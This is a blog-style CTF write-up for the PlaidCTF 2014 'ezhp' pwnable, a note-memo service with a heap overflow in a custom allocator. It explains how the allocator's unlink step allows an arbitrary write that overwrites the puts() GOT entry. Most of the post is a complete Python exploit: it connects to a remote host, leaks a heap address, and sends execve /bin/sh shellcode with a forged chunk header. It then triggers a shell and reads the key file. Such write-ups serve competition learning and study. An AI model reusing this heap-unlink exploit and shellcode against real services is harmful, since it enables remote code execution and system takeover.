본문 바로가기

Games/CTF

PlaidCTF 2014 ezhp

Task : ezhp (Pawnable 200pt)

Time Spent : 4H


This task is similar to classic GLIBC heap-overflow malloc exploitation under version 2.3.  The program provides a simple note memo service as a xinet.d super daemon.

Addnote function creates a note object using it's own memory allocator with the given size. We can fill the contents of the note using the Changenote function.

In Changenote function, we can select the note ID we want to past, and give the size of our input. However, the Changenote function does not validates if the length limit is larger than the note size.

We could also remote the note using this function...

ok, depending on the algorithm of custom memory allocator, we might overwrite some critical data. So I started to analyze the custom memory allocator... the allocation step was somewhat messy, so I debugged the algorithm dynamically and figured out how it works. Basically is was almost same as old libc memory allocators. (Using doubly linked list malloc chunks)

The custom freeing routine was easy to understand. it was obvious that the object was unlinked from doubly-linked list.

The malloc chunks forms a doubly linked list. In this task, the custom heap chunk contained three meta data fields. 1. size of chunk, 2. pointer to next chunk, 3. pointer to previous chunk. These chunks are continuously allocated in memory heap region, allocated by sbrk(from OS)

When the second chunk is freed, the nexp pointer of previous chunk(of deallocated one) changes to point the next chunk of deallocated chunk, and the prev pointer of next chunk(of deallocated one) changes to point the previous pointer of deallocated chunk.


Therefore, if we can overwrite the chunk header like this...

Now, if we free the second chunk, the following thing will happen.

*(0x43434343 + 0x4) = 0x44444444

*(0x44444444 + 0x8) = 0x43434343

Note that 0x43434343 and 0x44444444 are values that attacker can control. In a nut shell, we can overwrite an arbitrary memory address with a arbitrary value. However, note that the value we want to overwrite against an arbitrary region should be a valid memory address, unless one of the operation will raise the segmentation fault.

Anyway, by exploiting this bug, we could overwrite a GOT address (of puts()) to point our shellcode. After the exploitation is complete, the attacker's shellcode will be executed when the program tries to call puts(). (Note that the shellcode should be jump the 8~12bytes of her own payload since the pointer operation will overwrite this part of shellcode into &(puts()+0x4).



Flag: shitty_heap_allocators_are_shitty






Heres the entire exploit.



# final exploit (python)

from socket import *

from struct import *

import sys, os, time, base64, ctypes


''' game start! '''

s = socket(AF_INET, SOCK_STREAM)

#s.connect( ('localhost', 31337) )

s.connect( ('54.81.149.239', 9174) )



''' stage 1 : create three chunks '''

# select menu

r = s.recv(4096)

print r


print '1 : add message'

s.send( '1\n' )


# give me size

r = s.recv(4096)

print r


print '50'

s.send( '50\n' )


# select menu

r = s.recv(4096)

print r


print '1 : add message'

s.send( '1\n' )


# give me size

r = s.recv(4096)

print r


print '50'

s.send( '50\n' )


# select menu

r = s.recv(4096)

print r


print '1 : add message'

s.send( '1\n' )


# give me size

r = s.recv(4096)

print r


print '50'

s.send( '50\n' )


print 'stage 1 complete'

raw_input()



''' stage 2 : leak memory (prev address) '''

# prepare payload

p = 'A'*64

p += 'FUCK'


# select menu

r = s.recv(4096)

print r


print '3 : chage message!'

s.send( '3\n' ) # change message


# give me id

r = s.recv(4096)

print r


print '1'

s.send( '1\n' ) # concat string for memory leak


# give me size

r = s.recv(4096)

print r


print 'sending size'

s.send( '{0}\n'.format(len(p)) )


# give me data

r = s.recv(4096)

print r


print 'sending payload\n'

s.send( p ) # send payload!


# select menu

r = s.recv(4096)

print r

r = s.recv(4096)

print r


print '4 : print message!\n'

s.send( '4\n' ) # print message


# give me id

r = s.recv(4096)

print r


print '1\n'

s.send( '1\n' ) # print message 2 (leak)


# leaked information!!

r = s.recv(4096)

sh_addr = unpack('<I', r.split('FUCK')[1][:4])[0] + 12

print 'shellcode at {0}'.format(hex(sh_addr))


print 'stage 2 complete'

raw_input()



''' stage 3 : overflow chunk 2 '''


sh = '\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xD2\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\x31\xC0\xB0\x0B\xCD\x80'


#sh = '\xEB\x0A\xEB\x08\x90\x90\x90\x90\x90\x90'


puts_got = 0x0804a004


# prepare payload

p = sh

p += 'A'*(60-len(sh))


# fake chunk

size = 0x41414141

p += pack('<I', size)

p += pack('<I', sh_addr) # next

p += pack('<I', puts_got) # prev


# select menu

r = s.recv(4096)

print r


print '3 : change messge'

s.send( '3\n' ) # change message


# give me id

r = s.recv(4096)

print r


print '1'

s.send( '1\n' ) # overflow second chunk(second index)


# give me size

r = s.recv(4096)

print r


print 'sending size and payload...'

s.send( '{0}\n'.format(len(p)) )

s.send( p ) # send payload!


print 'stage 3 complete'

raw_input()



''' stage 4 : trigger exploit! '''

# select menu

r = s.recv(4096)

print r


print '2 : remove message!'

s.send( '2\n' ) # remove message


# give me id

r = s.recv(4096)

print r


print '2 : remove third message'

s.send( '2\n' ) # trigger malloc exploit!


print 'stage 3 complete!'


''' got shell '''

# print s.recv(4096)

s.send('cat /home/ezhp/key;\n');

print s.recv(4096)



'Games > CTF' 카테고리의 다른 글

DEFCON 2014 byhd writeup  (0) 2014.05.21
PlaidCTF 2014 kappa  (0) 2014.04.15
PlaidCTF 2014 tenement  (0) 2014.04.15
PlaidCTF 2014 hudak  (0) 2014.04.14
Codegate 2014 4stone writeup  (0) 2014.03.03